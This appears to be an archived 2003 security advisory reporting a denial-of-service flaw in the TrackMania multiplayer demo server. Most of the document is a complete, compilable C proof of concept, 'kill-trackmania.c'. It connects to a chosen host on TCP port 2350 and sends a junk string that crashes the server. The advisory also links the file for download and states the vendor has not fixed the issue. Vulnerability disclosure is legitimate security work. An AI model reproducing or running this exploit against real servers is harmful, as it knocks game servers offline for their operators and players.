<<< Date Index >>>     <<< Thread Index >>>

TrackMania Demo Denial of Service



TrackMania Demo Denial of Service
The original document can be found at
http://www.securiteinfo.com/attaques/hacking/trackmaniados.shtml


.oO  Overview Oo.
TrackMania Demo Denial of Service
Discovered on 2003, November, 30th
Vendor: TrackMania Official website http://www.trackmania.com

TrackMania is a "Stunt Car Racer" like game. The multiplayer demo of this game 
is subject to denial of service.


.oO  Details Oo.
The multiplayer game use TCP port 2350 to communicate. If you send some 
garbage to this port, it will shutdown the game server.


.oO  Exploit Oo.
Here is the proof of concept :

/*
* [kill-trackmania.c]
* A remote DoS that affects the Trackmania game server
*
* by Scrap
* webmaster@xxxxxxxxxxxxxxxx
* http://www.securiteinfo.com
*
* gcc kill-trackmania.c -o kill-trackmania -O2
*
*/

#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock;
struct sockaddr_in sin;
struct hostent *he;
unsigned long start;
char buffer[1024];
unsigned long counter;

printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");

if (argc<2)

{
printf("Usage: %s target\n\n",argv[0]);
exit(0);
}

if ((he=gethostbyname(argv[1])) == NULL)
{
herror("gethostbyname");
exit(0);
}

start=inet_addr(argv[1]);
counter=ntohl(start);

sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(2350);

if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
{
perror("connect");
exit(0);
}
printf("\n\t Sending Bomb... \n");
send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
close(sock);

printf("\t Bomb sent...\n");

}

Download kill-trackmania.c at 
http://www.securiteinfo.com/download/kill-trackmania.c


.oO  Solution Oo.
The vendor has been informed and has not solved the problem.


.oO  Discovered by Oo.
Arnaud Jacques aka scrap
webmaster@xxxxxxxxxxxxxxxx
http://www.securiteinfo.com